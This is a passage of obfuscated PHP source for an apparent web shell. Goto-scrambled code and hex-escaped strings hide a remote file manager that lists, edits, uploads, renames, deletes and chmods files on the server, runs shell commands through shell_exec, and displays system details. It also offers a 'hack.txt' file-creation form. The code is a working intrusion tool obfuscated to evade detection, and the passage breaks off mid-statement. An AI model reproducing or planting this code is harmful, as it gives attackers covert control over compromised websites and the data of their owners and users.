YvCsc; z8dnR: eUOtl: goto g_SxY; mLCCo: X4VeH: goto JP5XN; eMPv2: $YcdOo .= chr(hexdec($jN21H[$zErae] . $jN21H[$zErae + 1])); goto z8dnR; e_kB5: hAfVm: goto tjy3C; L_k5J: $YcdOo = ''; goto j7Ays; ey6fU: $zErae = 0; goto mLCCo; YvCsc: } goto Qnu8o; Yzggh: QrVTg: goto H351Z; FOIiG: YkZ08: goto sJ72V; k9e4Z: echo uGWhK($_GET["\x6e"]); goto Y43gU; lqGWm: HdZ03: goto Ygctf; vwrwf: die($oJwbz); goto usn9j; zgjy7: $huZFR = fopen(basename($_POST["\x6d\141\153\x65\146\x69\154\x65"]), "\x77") or die(F2y3T("\106\x61\151\x6c\145\144\x20\164\x6f\x20\143\x72\x65\x61\x74\145\40\146\x69\x6c\x65\41", 0)); goto sgdpK; oIhoP: echo "\x20\40\x20\40\74\57\144\x69\166\x3e\12\40\40\x3c\x2f\x64\151\x76\76\12\x20\40\74\x66\x6f\162\x6d\40\155\145\x74\150\157\144\75\42\x70\157\163\164\x22\40\x65\x6e\x63\x74\171\x70\145\x3d\42\x6d\165\x6c\x74\x69\x70\x61\162\164\x2f\x66\157\x72\155\x2d\144\141\x74\141\x22\40\x63\x6c\x61\163\163\x3d\42\146\151\x6c\145\x20\x69\163\x2d\163\x75\143\143\145\163\163\x20\151\163\x2d\x64\x61\x72\153\x20\155\x62\x2d\x30\40\155\x6c\55\x61\165\x74\157\x22\x3e\12\x20\40\40\x20\74\154\141\142\x65\154\x20\143\x6c\x61\163\x73\x3d\42\x66\x69\x6c\x65\x2d\x6c\x61\142\x65\154\42\76\xa\40\40\40\x20\40\x20\74\151\x6e\x70\x75\164\x20\143\x6c\x61\163\163\x3d\x22\x66\x69\x6c\145\x2d\151\156\160\165\x74\x22\40\x74\171\160\x65\75\42\146\x69\x6c\x65\42\x20\x6e\141\155\145\x3d\x22\146\x5b\x5d\x22\40\157\x6e\143\150\x61\x6e\147\145\x3d\x22\164\150\151\163\56\146\x6f\162\x6d\x2e\x73\x75\142\155\x69\x74\x28\x29\42\x20\155\x75\154\164\151\x70\x6c\x65\x20\x2f\x3e\xa\40\40\40\x20\x20\x20\74\x73\x70\x61\x6e\40\x63\x6c\x61\x73\x73\75\x22\146\151\154\145\x2d\143\x74\141\42\x3e\xa\x20\40\x20\40\40\x20\x20\x20\x3c\163\x70\x61\x6e\40\143\x6c\x61\163\163\75\42\146\151\154\x65\x2d\151\x63\157\156\42\x3e\12\x20\40\x20\x20\x20\x20\40\40\40\40\74\151\40\143\154\x61\163\163\x3d\x22\x62\151\40\x62\x69\55\x63\x6c\x6f\x75\144\55\165\x70\154\x6f\x61\144\x2d\x66\x69\154\x6c\x20\x69\163\x2d\163\151\172\x65\55\x35\x22\x20\76\x3c\57\151\x3e\12\x20\40\40\40\40\x20\x20\x20\x3c\x2f\163\160\141\x6e\x3e\xa\x20\x20\40\40\40\x20\40\40\x3c\163\x70\x61\156\40\143\154\x61\x73\x73\x3d\x22\x66\x69\154\145\55\x6c\x61\142\x65\x6c\42\76\x55\x70\x6c\157\141\x64\x20\106\151\154\145\163\342\200\xa6\74\x2f\x73\160\x61\156\76\xa\40\x20\x20\x20\40\x20\74\x2f\163\160\x61\x6e\x3e\12\40\x20\x20\40\74\x2f\x6c\x61\142\145\x6c\76\xa\x20\x20\74\57\146\x6f\162\x6d\x3e\xa\x3c\x2f\x64\x69\x76\76\xa\xa\xa\x3c\141\x72\x74\151\143\x6c\x65\x20\x63\x6c\141\163\x73\x3d\x22\155\164\x2d\x32\42\76\12"; goto GGNqi; yAZoh: echo m9jKO; goto o7FZW; lQQJ8: $Q0FGf = "\x30\61\x32\63\x34\x35\x36\67\x38\71\x61\x62\x63\x64\x65\x66\147\150\x69\x6a\153\154\x6d\156\x6f\x70\161\x72\163\164\165\166\x77\x78\171\x7a"; goto IZHGt; Gq4B7: f2Y3t("\146\157\154\x64\x65\162\40\144\145\154\145\164\x65\x64\x20\x73\165\143\143\145\x73\x73\146\x75\x6c\x6c\x79"); goto NVoZA; He1Ij: $qJtBd->close(); goto eLrPW; DMRFr: goto sl6BV; goto V8laz; Bsshy: echo UGwHK($_GET["\x64"]); goto lhxFV; tzxxE: fclose($huZFR); goto dQvpc; KjXt9: dNIIH: goto NbQpR; lhxFV: echo "\x3c\x2f\154\141\x62\145\x6c\x3e\12\40\x20\x20\40\x20\x20\x3c\151\156\x70\x75\164\40\x74\171\x70\145\75\x22\x68\151\x64\x64\x65\156\x22\x20\156\141\155\145\x3d\x22\143\147\x66\x22\x20\x76\141\154\165\x65\x3d\42"; goto rwbJh; IJK5e: if (!is_dir(UgwHk($_GET["\x70"]) . "\x2f" . uGWhk($_GET["\144"]))) { goto lA959; } goto HD3Iq; Und2g: $I8vAC = ''; goto eEOh3; HJu9V: ezLha: goto r2NiQ; zl_wE: unlink($E5Z_f); goto qgmWb; NzkH4: isset($_POST["\x73"]) ? $mWJjd[16]($keVpk . "\x2f" . UgWHk($_GET["\x6e"]), $_POST["\156"]) ? f2Y3t("\163\165\x63\x63\x65\163\x73\146\165\x6c\x6c\171\40\143\150\x61\x6e\x67\x65\x64\x20\x74\x68\x65\40\146\157\154\144\145\162\40\156\141\155\x65") : f2y3t("\146\141\x69\154\x65\144\40\x74\x6f\x20\143\x68\x61\156\147\x65\x20\164\150\145\x20\x66\x6f\x6c\144\x65\x72\x20\156\141\x6d\145", 0) : null; goto CRCRe; ab_vv: foreach ($C1o8f as $dU_aF) { goto dalmg; Wh9AQ: $FZL46 = $FZL46 > 1024 ? round($FZL46 / 1024, 2) . "\74\x62\76\115\x42\x3c\x2f\142\76" : $FZL46 . "\x3c\142\76\x4b\x42\74\x2f\x62\76"; goto ejXXS; ejXXS: echo "\74\164\162\76\74\x74\x64\x20\143\x6c\141\x73\x73\x3d\47\x69\x73\x2d\146\x6c\145\x78\x27\x20\x73\164\x79\154\145\75\x27\147\141\160\x3a\x34\160\170\x27\x3e\74\141\40\x68\162\x65\x66\75\x22\x3f\160\75" . siRA4($keVpk) . "\46\x61\x3d" . Sira4("\x76\x69\145\167") . "\46\x6e\x3d" . SIra4($dU_aF) . "\x22\76\x3c\151\40\x63\x6c\141\163\x73\75\42\142\151\40\142\151\x2d\x66\x69\154\x65\55\145\141\162\x6d\x61\162\x6b\55\x66\151\x6c\154\42\40\x64\x61\x74\141\55\156\x61\x6d\x65\x3d\x27{$dU_aF}\47\x3e\74\x2f\151\x3e\x20{$dU_aF}\74\x2f\141\76\x3c\x2f\164\144\76\x3c\x74\144\x3e{$FZL46}\74\x2f\164\x64\76\x3c\x74\x64\x3e\x3c\x61\40\x68\x72\145\146\x3d\x27\x3f\160\75" . siRA4($keVpk) . "\x26\x6e\75" . SIra4($dU_aF) . "\x26\x63\x68\155\x6f\x64\146\75\61\x27\x3e\74\146\x6f\156\x74\x20\143\157\154\x6f\162\x3d\x22" . ($mWJjd[8]("{$keVpk}\x2f{$dU_aF}") ? "\43\x30\60\146\x66\x30\x30" : (!$mWJjd[9]("{$keVpk}\x2f{$dU_aF}") ? "\x72\x65\144" : null)) . "\x22\x3e" . iYzXR("{$keVpk}\x2f{$dU_aF}") . "\74\57\146\x6f\x6e\x74\76\74\x2f\141\x3e\x3c\57\x74\x64\76\74\164\144\76" . $mWJjd[19]("\131\55\155\x2d\144\x20\110\x3a\x69", $mWJjd[20]("{$keVpk}\x2f{$dU_aF}")) . "\74\x2f\x74\144\76\x3c\x74\x64\76\74\x64\151\x76\x20\143\x6c\x61\x73\x73\75\x22\151\163\55\x66\x6c\x65\x78\40\152\165\x73\164\151\x66\x79\x2d\143\x6f\x6e\x74\x65\x6e\x74\55\x62\145\x74\x77\x65\145\x6e\42\40\163\x74\171\154\145\75\x27\x67\x61\160\72\x38\160\170\47\x3e\x3c\141\40\143\x6c\x61\x73\163\75\47\x62\165\164\164\x6f\x6e\x20\x69\163\55\x77\141\162\156\151\x6e\147\40\151\163\55\163\155\x61\154\154\x20\160\170\55\62\40\160\171\x2d\x30\47\x20\150\x72\x65\x66\x3d\42\x3f\160\75" . siRA4($keVpk) . "\x26\141\75" . siRA4("\145\x64\151\x74") . "\46\156\75" . sirA4($dU_aF) . "\42\76\x3c\151\40\143\154\x61\x73\x73\x3d\x22\x62\x69\x20\x62\x69\55\160\145\x6e\143\151\154\x2d\x66\x69\154\154\x20\x69\163\x2d\163\x69\x7a\x65\x2d\x36\40\155\x72\x2d\x31\x22\76\x3c\x2f\x69\76\x20\x45\x64\151\x74\x3c\x2f\x61\76\x3c\x61\40\143\154\x61\163\x73\75\x27\142\x75\164\164\x6f\156\40\x69\x73\x2d\151\x6e\146\x6f\x20\x69\x73\55\163\x6d\x61\154\154\40\160\x78\55\x32\40\x70\171\x2d\60\47\40\150\x72\x65\x66\75\42\77\160\x3d" . sirA4($keVpk) . "\46\x61\x3d" . Sira4("\x72\145\156\141\x6d\x65") . "\x26\x6e\75" . SIrA4($dU_aF) . "\x26\164\75\x66\42\76\74\151\40\x63\154\x61\163\163\75\42\151\x20\142\x69\55\x69\x6e\160\x75\x74\55\x63\x75\162\x73\157\162\x2d\164\x65\170\x74\40\x69\x73\x2d\163\151\x7a\x65\x2d\66\x20\x6d\162\x2d\x31\42\76\74\x2f\x69\76\40\x52\x65\x6e\141\155\145\x3c\x2f\141\x3e\74\141\x20\143\154\141\163\x73\x3d\47\x62\x75\164\x74\x6f\x6e\40\x69\163\55\x6c\151\x6e\153\x20\151\163\x2d\x73\x6d\141\x6c\154\40\160\x78\x2d\62\x20\160\171\55\60\47\40\x68\162\x65\146\x3d\42\77\160\75" . sira4($keVpk) . "\46\156\x3d" . Sira4($dU_aF) . "\x26\x64\x6f\167\156\x6c\x6f\141\144" . "\42\x3e\x3c\151\x20\x63\x6c\x61\163\x73\75\x22\142\x69\x20\142\151\55\x63\154\157\x75\144\55\141\x72\162\x6f\x77\55\144\x6f\167\x6e\x2d\x66\151\154\x6c\40\151\x73\55\x73\151\172\x65\55\x36\40\155\162\x2d\61\42\76\x3c\57\x69\x3e\40\104\x6f\167\x6e\154\157\141\144\74\x2f\x61\x3e\74\141\x20\143\154\x61\x73\163\x3d\x27\x62\x75\x74\164\157\156\40\151\x73\55\144\141\x6e\x67\145\162\x20\151\163\x2d\x73\x6d\141\154\154\x20\160\x78\55\62\x20\160\x79\55\60\x27\40\150\162\145\146\x3d\x22\x3f\160\75" . sIra4($keVpk) . "\x26\x74\75\146\x26\141\x3d" . sirA4("\x64\x65\154\x65\164\x65") . "\x26\156\75" . sIRa4($dU_aF) . "\42\40\x64\x61\x74\141\55\x74\x79\160\145\x3d\42\x66\x69\x6c\145\x22\76\74\151\40\143\x6c\x61\163\163\75\42\x62\x69\x20\142\x69\x2d\x74\162\x61\x73\150\55\146\x69\154\154\x20\x69\163\55\163\x69\x7a\x65\55\66\x20\x6d\x72\x2d\61\42\x3e\74\57\151\76\x20\104\x65\x6c\x65\x74\x65\74\57\x61\76\74\57\x64\151\166\76\74\x2f\164\144\76\74\57\164\162\x3e"; goto pa5Hr; z65fV: goto u4dL2; goto aVM9E; dalmg: if ($mWJjd[7]("{$keVpk}\57{$dU_aF}")) { goto w54e1; } goto z65fV; dmBud: $FZL46 = $mWJjd[10]("{$keVpk}\x2f{$dU_aF}") / 1024; goto j3Z1s; pa5Hr: u4dL2: goto V1Cgh; j3Z1s: $FZL46 = round($FZL46, 1); goto Wh9AQ; aVM9E: w54e1: goto dmBud; V1Cgh: } goto sR1SU; oIwRl: echo "\47\x29\x3b\141\x6c\145\x72\x74\x28\x27\103\157\160\151\145\x64\x20\x74\x6f\40\x63\154\151\x70\x62\157\x61\x72\144\47\x29\73\42\40\143\154\x61\163\163\x3d\42\x69\163\x2d\x66\141\x6d\151\154\x79\55\x6d\157\x6e\157\x73\160\141\x63\145\40\x62\x75\x74\164\x6f\x6e\40\x69\x73\x2d\x70\x72\151\x6d\x61\162\x79\40\x69\163\55\151\x6e\166\x65\162\x74\145\x64\40\x70\x6c\x2d\62\40\151\x73\55\157\165\164\x6c\x69\x6e\x65\x64\x22\76\12\x20\x20\40\40\40\40\40\40\74\142\x20\143\154\x61\x73\163\x3d\x22\164\x61\x67\40\x69\163\55\x70\x72\151\155\141\x72\171\40\x6d\162\55\62\42\x3e\x53\x65\x72\x76\145\162\x20\x53\157\x66\x74\x77\141\x72\x65\74\x2f\142\x3e\12\x20\40\40\40\x20\40\x20\40\74\156\x6f\x62\162\76"; goto wgLuw; usn9j: e3VtV: goto gxKiv; qE85o: if (!file_exists(uGwhk($_GET["\x70"]) . "\57" . uGWHK($_GET["\156"]))) { goto J_eMu; } goto DJowL; IUsOc: echo "\x20\174\x20\x4d\x79\x53\121\114\x20\72\x20"; goto tpaVG; sogkV: echo "\74\x2f\156\157\x62\162\76\74\57\154\x69\x3e\12\40\40\40\x20\74\154\151\76\123\x65\x72\x76\145\162\40\123\157\146\x74\167\141\162\x65\40\x3a\x20\74\156\x6f\x62\x72\76"; goto CE65j; rkBN3: $q5oCr = preg_replace("\57" . SiRa4($_SERVER["\x44\x4f\103\125\x4d\x45\x4e\124\137\x52\117\x4f\124"]) . "\57\x69", '', $_GET["\160"]); goto hVz2W; td1r3: echo "\x3c\x2f\x6e\157\x62\162\76\x3c\x2f\x6c\151\76\12\x20\40\x20\40\x3c\154\x69\76\104\151\163\x61\x62\x6c\x65\x64\x20\x66\x75\x6e\143\x74\151\x6f\156\x73\40\x3a\40\x3c\156\157\142\162\76"; goto ezNsH; Rk1K9: if (!$mWJjd[12]($FK4d6)) { goto t9eud; } goto Fnjyw; EkYla: PmSkv: goto dW_tO; W2gVX: Dq1Td: goto ZbLg4; Uoc5T: if ($uKjJE == "\x65\x64\151\x74") { goto hlaFx; } goto DccwL; vbN4c: $uKjJE = UgWhK($_GET["\x61"]); goto RU3J2; dWgq8: $C1o8f = $mWJjd[5]($C1o8f($keVpk), ["\x2e", "\x2e\56"]); goto ThnZz; lNNW1: if (isset($_GET["\160"])) { goto Zdbyj; } goto zgjy7; OTlAe: $zErae++; goto DMRFr; EJLF0: if (is_dir($_POST["\155\141\153\145\x64\151\162"])) { goto s1Yh0; } goto bXfrx; J2Z1Z: echo "\x3c\57\x64\151\166\76"; goto eaSXg; gxKiv: $fKgA3 = "\x74\x65\163\164\x5f\x63\157\155\155\141\x6e\x64\x2e\x7a\151\x70"; goto n6diT; KIbsI: J_eMu: goto znQki; tpaVG: echo nUt1O(); goto OKn_g; bXfrx: if (!mkdir(basename($_POST["\x6d\x61\x6b\145\x64\151\162"]))) { goto EhEmv; } goto ywBVP; aEVGs: function bl7zL($hKgYg) { goto KoENY; UXnmH: jjwP5: goto YymOP; YymOP: array_map("\x64\x65\x6c\x64\x69\162", glob($hKgYg . DIRECTORY_SEPARATOR . "\173\x2c\56\x7d\x2a", GLOB_BRACE | GLOB_NOSORT)); goto gyCAM; ueeNg: if ($mWJjd[6]($hKgYg)) { goto jjwP5; } goto DN98j; uHTAT: return; goto Lsvv_; PuxGU: if (!(trim(pathinfo($hKgYg, PATHINFO_BASENAME), "\56") === '')) { goto hNmOj; } goto uHTAT; gyCAM: rmdir($hKgYg); goto d9V3X; KoENY: global $mWJjd; goto PuxGU; DN98j: unlink($hKgYg); goto CdqQN; Lsvv_: hNmOj: goto ueeNg; CdqQN: goto BleDP; goto UXnmH; d9V3X: BleDP: goto Wx7Yi; Wx7Yi: } goto VLAWb; GGNqi: if (!isset($_GET["\141"])) { goto Dq1Td; } goto Gnh_S; BCVk_: if (!isset($_GET["\x70"])) { goto xYS3g; } goto rkBN3; d7XNG: goto iyd7_; goto cgrAg; Cq9ID: echo "\x3c\41\x64\157\143\164\x79\160\145\x20\150\164\x6d\x6c\x3e\xa\74\150\164\x6d\154\40\x6c\x61\156\x67\x3d\x22\x65\156\42\x3e\xa\40\x20\x3c\x68\145\141\144\x3e\12\x20\x20\x20\x20\74\x6d\x65\x74\141\40\x6e\x61\155\x65\x3d\42\164\150\x65\155\x65\55\143\157\154\157\162\x22\x20\x63\x6f\x6e\x74\145\x6e\164\x3d\42\162\145\144\x22\x3e\12\40\x20\x20\40\74\155\x65\164\x61\x20\156\x61\x6d\x65\75\x22\x76\x69\x65\167\x70\x6f\162\164\x22\40\x63\x6f\156\164\x65\x6e\164\75\x22\167\151\144\164\x68\75\144\x65\166\151\x63\x65\55\167\x69\144\164\x68\x2c\x20\151\x6e\151\x74\151\x61\154\x2d\163\x63\141\154\x65\75\60\x2e\x36\x30\54\x20\163\150\162\151\156\x6b\55\x74\157\55\x66\151\x74\75\x6e\157\42\76\12\x20\x20\40\x20\74\154\151\156\x6b\40\162\x65\x6c\x3d\42\163\x74\x79\x6c\x65\x73\150\145\x65\164\x22\40\150\162\145\146\x3d\42\150\x74\x74\x70\x73\x3a\57\57\x63\144\x6e\x2e\152\163\x64\145\154\x69\166\162\56\x6e\x65\164\57\x6e\x70\155\x2f\142\x75\154\x6d\141\x40\x31\56\60\x2e\62\57\143\x73\x73\x2f\x62\165\154\155\x61\x2e\x6d\151\x6e\x2e\143\163\163\x22\x3e\12\40\x20\x20\40\x3c\x6c\151\156\153\40\x72\145\x6c\75\x22\163\164\x79\154\x65\x73\150\145\x65\164\x22\40\x68\162\x65\146\x3d\42\x68\x74\164\x70\x73\72\57\57\x63\x64\x6e\x2e\x6a\163\144\145\x6c\x69\166\162\x2e\x6e\145\164\57\x6e\160\x6d\57\142\157\157\164\x73\164\162\x61\x70\x2d\x69\143\157\156\x73\x40\61\56\x31\x31\56\x33\x2f\146\x6f\156\164\x2f\x62\157\157\164\x73\164\x72\x61\x70\x2d\151\143\x6f\156\x73\56\x6d\x69\x6e\x2e\x63\x73\x73\42\76\12\x20\40\40\x20\74\x6c\151\156\153\40\x68\162\145\146\75\x22\150\164\x74\x70\163\72\x2f\57\x63\144\x6e\56\x6a\163\144\145\x6c\151\x76\x72\56\156\145\164\x2f\x6e\x70\155\57\x40\145\170\165\x61\x6e\x62\x6f\57\x66\x69\154\145\55\x69\x63\x6f\156\163\55\152\x73\100\154\x61\164\x65\x73\x74\x2f\144\x69\x73\x74\57\x63\x73\x73\57\146\151\154\x65\55\151\x63\x6f\x6e\163\x2e\155\151\x6e\x2e\x63\x73\x73\42\x20\162\x65\x6c\75\42\163\164\171\x6c\145\x73\150\145\145\164\42\x3e\xa\12\x20\40\x20\x20\x3c\164\151\164\x6c\145\76"; goto AMrTf; HD3Iq: fgYw1($_POST["\143\147\146"], $_POST["\x63\157\x64\x65\170"]); goto LNZmW; cx2iT: echo "\74\146\x6f\162\x6d\40\155\145\x74\150\157\144\x3d\42\160\157\163\164\42\x20\x63\x6c\x61\163\x73\75\42\142\157\x78\x22\40\x73\x74\x79\x6c\145\x3d\x22\142\157\x72\144\x65\162\x3a\62\x70\170\x20\x73\x6f\154\151\144\x20\x68\x73\154\x28\61\67\x31\x2c\40\61\60\60\45\x2c\x20\61\66\45\x29\x22\x3e\12\40\x20\74\x68\x34\40\x63\154\141\163\x73\75\x22\x69\163\55\163\151\x7a\145\55\65\x20\x68\x61\x73\55\x74\145\x78\x74\55\x77\x65\151\147\x68\x74\55\x62\157\154\144\x20\x68\x61\163\55\x74\145\170\x74\55\x70\x72\151\x6d\141\162\171\x20\155\x62\55\x34\42\x3e\x43\162\x65\141\x74\145\40\116\145\x77\40\x46\x6f\154\144\145\162\74\57\150\x34\x3e\12\x20\x20\74\x64\151\x76\40\143\154\x61\x73\163\x3d\x22\x66\x69\145\154\144\42\x3e\xa\40\x20\x20\x20\x3c\x6c\141\142\x65\154\x20\146\157\162\75\x22\x6e\x22\40\143\x6c\x61\x73\163\75\x22\x6c\x61\142\145\x6c\42\x3e\x4e\x61\155\x65\74\x2f\154\141\x62\x65\154\76\12\x20\x20\40\40\x3c\x69\x6e\160\165\x74\x20\156\141\x6d\x65\x3d\x22\156\x22\x20\151\x64\75\42\x6e\x22\40\143\154\141\163\163\75\x22\x69\x6e\x70\x75\164\42\x20\x61\x75\x74\157\x63\x6f\155\160\154\x65\x74\145\75\42\157\x66\146\x22\76\12\x20\x20\x3c\x2f\144\151\166\x3e\12\x20\40\74\x62\x75\164\x74\x6f\156\40\164\171\x70\145\x3d\x22\x73\165\142\155\x69\x74\42\40\x6e\x61\x6d\x65\75\42\163\x22\x20\143\154\x61\x73\163\75\x22\x62\165\x74\x74\157\x6e\40\x69\x73\x2d\x70\x72\151\155\141\162\171\42\x3e\103\x72\145\141\164\145\74\57\142\165\x74\164\x6f\x6e\76\xa\74\x2f\146\157\162\155\76\xa"; goto C_GN8; CzNJw: T17o4: goto efyrq; hB10d: $keVpk = $mWJjd[2](); goto ppGjr; RYjUz: function sIra4($jN21H) { goto wv1BN; PBSAn: eiVC8: goto LKaAH; XsSUD: e7xAP: goto voRJy; t4XU4: UQ2Na: goto OgPc4; YjgWV: goto eiVC8; goto XsSUD; YvCEs: $YcdOo .= dechex(ord($jN21H[$zErae])); goto t4XU4; wv1BN: $YcdOo = ''; goto ff7B0; LKaAH: if (!($zErae < strlen($jN21H))) { goto e7xAP; } goto YvCEs; ff7B0: $zErae = 0; goto PBSAn; OgPc4: $zErae++; goto YjgWV; voRJy: return $YcdOo; goto jsoRn; jsoRn: } goto GSvI4; RXCC4: goto GvegE; goto nXISj; eaSXg: goto PmSkv; goto W2gVX; A6yqx: if (empty($K1rI2)) { goto H2eZY; } goto YvqIy; r5Ado: echo "\x20\x20\74\146\157\x72\x6d\40\155\145\x74\150\x6f\x64\x3d\42\x70\157\163\x74\42\40\x63\x6c\141\x73\x73\x3d\42\x62\x6f\170\42\x20\163\164\x79\154\x65\x3d\42\142\x6f\x72\144\145\x72\x3a\x32\160\x78\x20\163\157\154\151\144\40\x68\x73\x6c\50\x31\67\61\x2c\40\61\x30\60\45\x2c\40\61\x36\x25\51\42\76\12\40\x20\x20\40\74\x68\64\x20\x63\154\x61\x73\x73\x3d\x22\x69\163\x2d\x73\151\x7a\x65\55\x35\40\x68\141\163\55\164\145\170\x74\55\167\145\151\x67\x68\x74\55\142\157\154\144\40\x68\141\x73\55\164\x65\170\x74\55\x70\x72\x69\155\141\162\171\40\x6d\142\x2d\64\42\76\x43\162\145\x61\164\145\x20\116\x65\167\40\x46\151\x6c\145\x3c\57\x68\64\76\xa\40\x20\x20\40\74\144\x69\x76\40\x63\x6c\141\163\x73\75\x22\146\151\145\x6c\144\42\x3e\12\40\40\x20\40\40\40\x3c\x6c\141\142\145\x6c\x20\x66\157\x72\75\x22\x6e\42\x20\x63\154\141\163\x73\75\42\154\x61\x62\145\154\42\76\x46\151\x6c\x65\156\x61\x6d\x65\74\x2f\154\x61\142\145\154\76\xa\40\40\x20\x20\40\40\x3c\151\x6e\x70\165\x74\40\x74\x79\x70\x65\x3d\x22\164\145\x78\x74\42\40\x6e\141\x6d\x65\75\x22\x6e\x22\x20\x69\x64\x3d\x22\156\42\x20\143\x6c\x61\163\x73\75\42\151\156\160\x75\x74\x22\x20\160\154\141\143\x65\x68\x6f\154\144\x65\162\x3d\x22\x68\141\143\x6b\56\164\x78\164\x22\76\xa\x20\x20\40\x20\x3c\57\144\x69\166\x3e\xa\x20\x20\x20\40\x3c\144\151\166\x20\143\154\x61\163\x73\x3d\42\146\x69\145\x6c\x64\42\x3e\12\40\x20\40\x20\40\x20\74\x6c\x61\142\145\x6c\x20\x66\x6f\x72\75\x22\x63\x74\x6e\42\x20\143\x6c\141\x73\x73\x3d\x22\x6c\141\142\x65\154\42\76\x43\x6f\x6e\164\145\x6e\164\x3c\57\154\x61\x62\x65\x6c\x3e\12\40\40\x20\40\40\40\x3c\x74\x65\x78\x74\x61\162\x65\x61\40\163\x74\171\154\x65\x3d\x22\x72\145\x73\151\x7a\x65\72\156\x6f\x6e\145\42\x20\x6e\x61\155\x65\x3d\42\x63\x74\x6e\x22\x20\x69\x64\x3d\42\143\164\156\x22\x20\x63\157\154\163\75\42\x33\x30\42\x20\x72\x6f\167\x73\75\42\61\60\x22\40\x63\154\141\x73\x73\x3d\42\x74\145\170\x74\141\x72\145\141\x22\40\160\x6c\x61\x63\145\x68\157\x6c\x64\x65\x72\x3d\x22\43\x20\123\164\x61\155\160\145\x64\x20\x42\x79\40\115\145\42\76\74\x2f\x74\145\x78\164\x61\162\x65\141\76\xa\40\x20\40\40\x3c\57\144\x69\x76\x3e\12\x20\40\40\40\x3c\x62\x75\164\x74\157\x6e\x20\164\171\160\145\75\42\163\165\x62\x6d\151\x74\x22\40\x6e\x61\155\x65\75\x22\x73\42\40\143\154\141\163\163\x3d\42\x62\165\164\x74\x6f\x6e\40\151\x73\x2d\160\162\x69\155\141\x72\171\42\76\103\162\x65\141\164\x65\x3c\57\x62\165\164\164\157\x6e\76\xa\40\x20\74\57\x66\x6f\x72\x6d\76\12\xa"; goto AqqqY; rcEfg: goto dR8cX; goto Qm8jY; Vk0NB: echo nut1o(); goto F5940; i4dlG: VAoSI: goto OTlAe; NVoZA: XD1zL: goto xLpxC; rA9Hj: $bP9ht = shell_exec("\172\x69\160\x20{$fKgA3}\40{$E5Z_f}\40\62\76\46\61"); goto qG05B; PC10j: F2Y3T("\x66\151\x6c\145\40\146\x61\151\x6c\145\144\x20\164\157\x20\165\160\x6c\x6f\141\144", 0); goto ilodd; AMrTf: echo m9jKO; goto hXpWe; nycFR: kWGcU: goto VrT_s; txAy7: die($oJwbz); goto ncRkG; bmtvF: echo TA6a_(); goto qQmdQ; CRCRe: goto xNsqm; goto Px60m; yzNGs: HNYAM: goto K_MOx; ncRkG: uskpD: goto PIAej; fWCEd: echo "\x3c\57\154\x61\142\145\x6c\x3e\12\11\11\74\151\156\160\165\x74\x20\x74\x79\x70\x65\x3d\42\150\151\x64\x64\145\x6e\42\x20\156\x61\x6d\x65\75\42\143\147\146\42\40\x76\x61\x6c\x75\145\75\42"; goto G87Ww; efyrq: echo "\124\x68\145\x20\x27\172\x69\160\47\40\143\x6f\x6d\155\x61\x6e\144\40\151\163\x20\156\157\164\40\141\x76\x61\151\154\141\142\x6c\x65\40\157\x6e\40\164\x68\x69\x73\40\163\145\162\x76\145\x72\x2e\xa"; goto txAy7; Ii6qh: $zErae = 0; goto VJrQl; tvfll: echo "\x3c\x64\151\166\x20\143\154\141\163\x73\75\42\160\170\55\x32\x20\x70\x79\55\62\42\x3e\12"; goto nPlIh; KBqBV: echo substr(@php_uname(), 0, 120); goto sogkV; zysIk: echo "\x3c\x2f\156\157\x62\x72\x3e\xa\40\40\x20\x20\40\x20\40\40\x3c\142\x20\x63\154\141\163\x73\75\42\x74\x61\147\40\x69\x73\x2d\167\x61\x72\156\x69\156\147\x20\155\x72\x2d\62\x22\x3e\x53\145\162\x76\x65\x72\x20\x41\144\x6d\151\x6e\x3c\x2f\142\x3e\xa\x20\x20\x20\x20\40\x20\40\40\x3c\x6e\x6f\x62\x72\x3e"; goto Gjxeh; F5940: echo "\74\57\x6e\x6f\x62\162\x3e\xa\40\40\40\40\x20\40\x3c\x2f\144\151\x76\76\12\x20\40\40\x20\40\12\40\x20\x20\40\74\57\x64\x69\166\x3e\xa\40\x20\40\x20\74\144\x69\166\40\143\x6c\x61\x73\x73\75\42\151\163\x2d\146\x6c\145\170\x20\151\x73\55\x66\x6c\x65\170\x2d\x64\x69\162\145\x63\x74\151\157\x6e\x2d\x63\157\x6c\x75\x6d\156\x22\40\163\164\171\154\145\75\x22\x67\141\160\x3a\64\x70\x78\42\x3e\xa\40\x20\x20\40\40\x20\74\146\157\x72\155\x20\141\143\x74\x69\157\x6e\x3d\42\x22\x20\143\x6c\141\x73\163\x3d\x22\151\x73\55\146\x6c\x65\170\40\151\163\x2d\x61\154\x69\x67\156\55\x69\164\x65\x6d\x73\55\x65\x6e\144\42\x20\x6d\x65\164\x68\x6f\144\x3d\x22\120\117\x53\124\42\x3e\xa\x20\40\40\x20\40\x20\x20\x20\74\144\x69\166\x3e\12\x20\x20\40\40\x20\x20\40\x20\40\40\x3c\41\x2d\55\x20\x3c\154\x61\x62\x65\x6c\x3e\x4e\x65\x77\40\x46\x6f\x6c\x64\145\162\74\57\154\x61\x62\x65\154\x3e\40\x2d\x2d\76\xa\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x69\156\160\165\164\x20\x74\x79\x70\x65\75\x22\x74\145\170\164\x22\40\143\154\x61\x73\x73\75\x22\151\x6e\x70\x75\x74\x20\x69\163\x2d\x73\x6d\x61\154\x6c\42\40\160\x6c\x61\143\145\150\157\154\144\x65\162\75\x22\116\145\167\40\106\157\x6c\144\145\x72\42\40\x6e\141\x6d\145\75\42\x6d\x61\153\145\x64\151\x72\x22\57\x3e\xa\x20\x20\x20\40\40\x20\40\x20\x3c\57\144\151\x76\x3e\12\40\x20\x20\x20\40\x20\x20\x20\74\x62\x75\x74\164\x6f\156\40\143\x6c\x61\163\163\75\42\155\154\55\61\x20\142\165\164\x74\x6f\156\x20\151\x73\55\160\162\151\x6d\141\x72\171\40\151\163\55\163\155\x61\154\154\x22\40\164\x79\160\x65\x3d\42\x73\165\142\x6d\x69\x74\x22\x20\x6e\x61\155\x65\x3d\x22\163\x75\x62\155\x69\164\42\x3e\76\x3c\57\142\x75\164\164\157\156\76\xa\x20\x20\x20\40\40\40\x20\40"; goto uB_8o; gWY2k: fwrite($huZFR, ''); goto MIuoc; PIAej: $K1rI2 = shell_exec("\167\x68\x69\x63\x68\40\165\x6e\172\x69\160"); goto A6yqx; krM1G: $keVpk = UgwhK($_GET["\160"]); goto yTsJL; R4zTw: ezK61: goto jMwg9; n4dOh: c5KEW: goto Me6j_; ez7b5: if ($uKjJE == "\162\145\156\x61\155\x65") { goto HdZ03; } goto Uoc5T; rwbJh: echo UgWHK($_GET["\160"]) . 